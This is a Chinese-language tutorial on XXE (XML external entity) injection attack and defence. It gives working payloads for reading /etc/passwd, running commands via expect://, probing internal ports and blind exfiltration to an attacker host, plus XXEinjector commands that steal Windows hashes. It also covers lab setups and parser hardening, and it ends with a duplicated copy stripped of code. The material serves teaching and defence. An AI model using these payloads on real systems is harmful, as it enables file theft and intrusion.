[红日安全]Web安全Day8 - XXE实战攻防
字数 3032 2025-08-25 22:58:29

XXE(XML外部实体注入)实战攻防教学文档

1. XXE概述

XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

1.1 XML基础

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。

1.1.1 文档结构

XML文档结构包括:

  • XML声明
  • DTD文档类型定义(可选)
  • 文档元素

示例:

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  
<!ELEMENT note (to,from,heading,body)>  
<!ELEMENT to (#PCDATA)>     
<!ELEMENT from (#PCDATA)>   
<!ELEMENT head (#PCDATA)>   
<!ELEMENT body (#PCDATA)>   
]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

1.1.2 DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

内部DOCTYPE声明

<!DOCTYPE 根元素 [元素声明]>

外部文档声明

<!DOCTYPE 根元素 SYSTEM "文件名">

1.1.3 DTD实体

内部实体声明

<!ENTITY 实体名称 "实体的值">

外部实体声明

<!ENTITY 实体名称 SYSTEM "URI">

参数实体声明

<!ENTITY %实体名称 "实体的值">
<!ENTITY %实体名称 SYSTEM "URI">

使用区别

  • 参数实体用%实体名称申明,引用时也用%实体名称
  • 其余实体直接用实体名称申明,引用时用&实体名称
  • 参数实体只能在DTD中申明,DTD中引用
  • 其余实体只能在DTD中申明,可在xml文档中引用

1.2 XXE原理

XXE即XML外部实体注入,包含两个关键概念:

  • 注入:XML数据在传输过程中被修改,导致服务器执行修改后的恶意代码
  • 外部实体:攻击者通过利用外部实体声明部分对XML数据进行修改、插入恶意代码

XXE攻击利用外部实体声明部分的"SYSTEM"关键词导致XML解析器可以从本地文件或远程URI中读取受保护的数据。

1.3 XXE分类

1.3.1 按构造外部实体声明方式

  1. 直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>
  1. 通过DTD文档引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://example.com/Quan.dtd">
<hhh>&f;<hhh>

Quan.dtd内容:

<!ENTITY f SYSTEM "file:///etc/passwd">
  1. 通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://example.com/Quan.dtd">
]>
<hhh>&f;<hhh>

1.3.2 按输出信息

  1. 正常回显XXE:服务器直接回显信息
  2. 报错XXE:服务器回显错误信息,根据错误判断是否注入成功
  3. Blind XXE:无回显信息,需组合利用file/http/ftp协议查看日志

Blind XXE示例

<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者IP/Quan.xml">
%remote;
%all;
]>
<root>&send;</root>

Quan.xml内容:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

2. XXE危害

2.1 读取任意文件

PHP中可通过多种协议读取文件:

<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>

XML在各语言下支持的协议:

  • PHP: file, http, ftp, php, compress.zlib, data, glob, phar
  • Java: http, https, ftp, file, jar, netdoc, mailto, gopher
  • .NET: file, http, https, ftp

2.2 执行系统命令

当配置不当/开发内部应用时(如PHP expect模块被加载):

<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://id">
]>
<hhh>&f;<hhh>

2.3 探测内网端口

根据返回信息判断端口状态:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

3. 测试方法

3.1 测试靶场介绍

3.1.1 PHP靶场-bWAPP

安装

  1. 下载地址:https://sourceforge.net/projects/bwapp/files/latest/download
  2. 解压到WWW目录
  3. 修改admin/settings.php中的数据库配置
  4. 访问http://127.0.0.1/bWAPP/install.php创建数据库

虚拟机版本

  • 下载:https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
  • 使用VMWare打开,NAT模式

3.1.2 Java靶场--WebGoat

安装

  1. 下载:https://github.com/WebGoat/WebGoat/releases
  2. 安装JDK
  3. 启动:java -jar webgoat-server-8.0.0.M25.jar
  4. 访问:http://127.0.0.1:8080/WebGoat

3.1.3 DSVW靶场

安装

  1. 安装lxml:apt-get install python-lxml
  2. 下载:git clone https://github.com/stamparm/DSVW.git
  3. 运行:python dsvw.py
  4. 访问:http://127.0.0.1:65412

3.1.4 xxe-lab

安装

  • PHP:放入WWW目录
  • Java:导入eclipse部署
  • Python:安装Flask后运行python xxe.py

3.2 手工测试(以bWAPP为例)

3.2.1 Low等级测试

  1. 选择"XML External Entity Attacks (XXE)"漏洞,安全等级Low
  2. 点击"Any bugs?"抓包
  3. 构造Payload读取文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136/bWAPP/robots.txt">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
  1. 探测内网端口:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
  1. Blind XXE思路:
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者IP/Quan.xml">
%remote;
%all;
]>
<root>&send;</root>

3.2.2 源码分析

Low等级

$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT);
$login = $dom->getElementsByTagName('login')->item(0)->nodeValue;
echo $login;

Medium/High等级
从session获取login值,无法利用login元素进行XXE攻击

3.3 工具测试

3.3.1 Burp Collaborator插件

  1. 安装:Burpsuite的Extender模块下的BApp Store
  2. 使用:
    • 构造Blind XXE Payload
    • 打开Collaborator client获取payload URL
    • 在XXE Payload中使用该URL
    • 查看Collaborator是否有访问记录

3.3.2 XXEinjector

安装

  1. 安装Ruby环境:apt-get install ruby
  2. 下载:https://github.com/enjoiz/XXEinjector

使用示例

  1. 枚举HTTPS应用程序中的/etc目录:
    ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl

  2. 使用gopher枚举/etc目录:
    ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

  3. 窃取Windows哈希:
    ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes

4. 真实实战演练

4.1 靶场介绍

vulnhub的XXE虚拟机靶场,用于演示XXE攻击

4.2 安装

下载:https://download.vulnhub.com/xxe/XXE.zip
导入虚拟机,NAT模式

4.3 实战演示

  1. 扫描发现80端口开放,/xxe/目录和/admin.php文件
  2. 访问/xxe/目录,提交表单并抓包
  3. 构造读取文件的Payload:
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///var/www/xxe/flagmeout.php">
]>
<root>&f;</root>
  1. 获取Base64编码结果并解码

5. CMS实战演练(Metinfo 6.0.0)

5.1 漏洞位置

app/system/pay/web/pay.class.php

5.2 漏洞成因

未禁止外部实体加载

5.3 测试过程

  1. 构造XXE Payload测试
  2. 查看攻击者服务器日志确认是否成功

5.4 修复建议

升级到v6.1.0(已删除pay.class.php文件)

6. 防御方法

6.1 通用方法

过滤用户提交的XML数据中的关键词:<!DOCTYPE<!ENTITYSYSTEMPUBLIC

6.2 PHP防御

libxml_disable_entity_loader(true);

6.3 Java防御

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

6.4 Python防御

from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
XXE(XML外部实体注入)实战攻防教学文档 1. XXE概述 XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。 1.1 XML基础 XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。 1.1.1 文档结构 XML文档结构包括: XML声明 DTD文档类型定义(可选) 文档元素 示例: 1.1.2 DTD 文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。 内部DOCTYPE声明 : 外部文档声明 : 1.1.3 DTD实体 内部实体声明 : 外部实体声明 : 参数实体声明 : 使用区别 : 参数实体用%实体名称申明,引用时也用%实体名称 其余实体直接用实体名称申明,引用时用&实体名称 参数实体只能在DTD中申明,DTD中引用 其余实体只能在DTD中申明,可在xml文档中引用 1.2 XXE原理 XXE即XML外部实体注入,包含两个关键概念: 注入 :XML数据在传输过程中被修改,导致服务器执行修改后的恶意代码 外部实体 :攻击者通过利用外部实体声明部分对XML数据进行修改、插入恶意代码 XXE攻击利用外部实体声明部分的"SYSTEM"关键词导致XML解析器可以从本地文件或远程URI中读取受保护的数据。 1.3 XXE分类 1.3.1 按构造外部实体声明方式 直接通过DTD外部实体声明 通过DTD文档引入外部DTD文档中的外部实体声明 Quan.dtd内容: 通过DTD外部实体声明引入外部DTD文档中的外部实体声明 1.3.2 按输出信息 正常回显XXE :服务器直接回显信息 报错XXE :服务器回显错误信息,根据错误判断是否注入成功 Blind XXE :无回显信息,需组合利用file/http/ftp协议查看日志 Blind XXE示例 : Quan.xml内容: 2. XXE危害 2.1 读取任意文件 PHP中可通过多种协议读取文件: XML在各语言下支持的协议: PHP: file, http, ftp, php, compress.zlib, data, glob, phar Java: http, https, ftp, file, jar, netdoc, mailto, gopher .NET: file, http, https, ftp 2.2 执行系统命令 当配置不当/开发内部应用时(如PHP expect模块被加载): 2.3 探测内网端口 根据返回信息判断端口状态: 3. 测试方法 3.1 测试靶场介绍 3.1.1 PHP靶场-bWAPP 安装 : 下载地址:https://sourceforge.net/projects/bwapp/files/latest/download 解压到WWW目录 修改admin/settings.php中的数据库配置 访问http://127.0.0.1/bWAPP/install.php创建数据库 虚拟机版本 : 下载:https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_ v1.6.7z/download 使用VMWare打开,NAT模式 3.1.2 Java靶场--WebGoat 安装 : 下载:https://github.com/WebGoat/WebGoat/releases 安装JDK 启动: java -jar webgoat-server-8.0.0.M25.jar 访问:http://127.0.0.1:8080/WebGoat 3.1.3 DSVW靶场 安装 : 安装lxml: apt-get install python-lxml 下载: git clone https://github.com/stamparm/DSVW.git 运行: python dsvw.py 访问:http://127.0.0.1:65412 3.1.4 xxe-lab 安装 : PHP:放入WWW目录 Java:导入eclipse部署 Python:安装Flask后运行 python xxe.py 3.2 手工测试(以bWAPP为例) 3.2.1 Low等级测试 选择"XML External Entity Attacks (XXE)"漏洞,安全等级Low 点击"Any bugs?"抓包 构造Payload读取文件: 探测内网端口: Blind XXE思路: 3.2.2 源码分析 Low等级 : Medium/High等级 : 从session获取login值,无法利用login元素进行XXE攻击 3.3 工具测试 3.3.1 Burp Collaborator插件 安装:Burpsuite的Extender模块下的BApp Store 使用: 构造Blind XXE Payload 打开Collaborator client获取payload URL 在XXE Payload中使用该URL 查看Collaborator是否有访问记录 3.3.2 XXEinjector 安装 : 安装Ruby环境: apt-get install ruby 下载:https://github.com/enjoiz/XXEinjector 使用示例 : 枚举HTTPS应用程序中的/etc目录: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl 使用gopher枚举/etc目录: ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher 窃取Windows哈希: ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes 4. 真实实战演练 4.1 靶场介绍 vulnhub的XXE虚拟机靶场,用于演示XXE攻击 4.2 安装 下载:https://download.vulnhub.com/xxe/XXE.zip 导入虚拟机,NAT模式 4.3 实战演示 扫描发现80端口开放,/xxe/目录和/admin.php文件 访问/xxe/目录,提交表单并抓包 构造读取文件的Payload: 获取Base64编码结果并解码 5. CMS实战演练(Metinfo 6.0.0) 5.1 漏洞位置 app/system/pay/web/pay.class.php 5.2 漏洞成因 未禁止外部实体加载 5.3 测试过程 构造XXE Payload测试 查看攻击者服务器日志确认是否成功 5.4 修复建议 升级到v6.1.0(已删除pay.class.php文件) 6. 防御方法 6.1 通用方法 过滤用户提交的XML数据中的关键词: <!DOCTYPE 、 <!ENTITY 、 SYSTEM 、 PUBLIC 6.2 PHP防御 6.3 Java防御 6.4 Python防御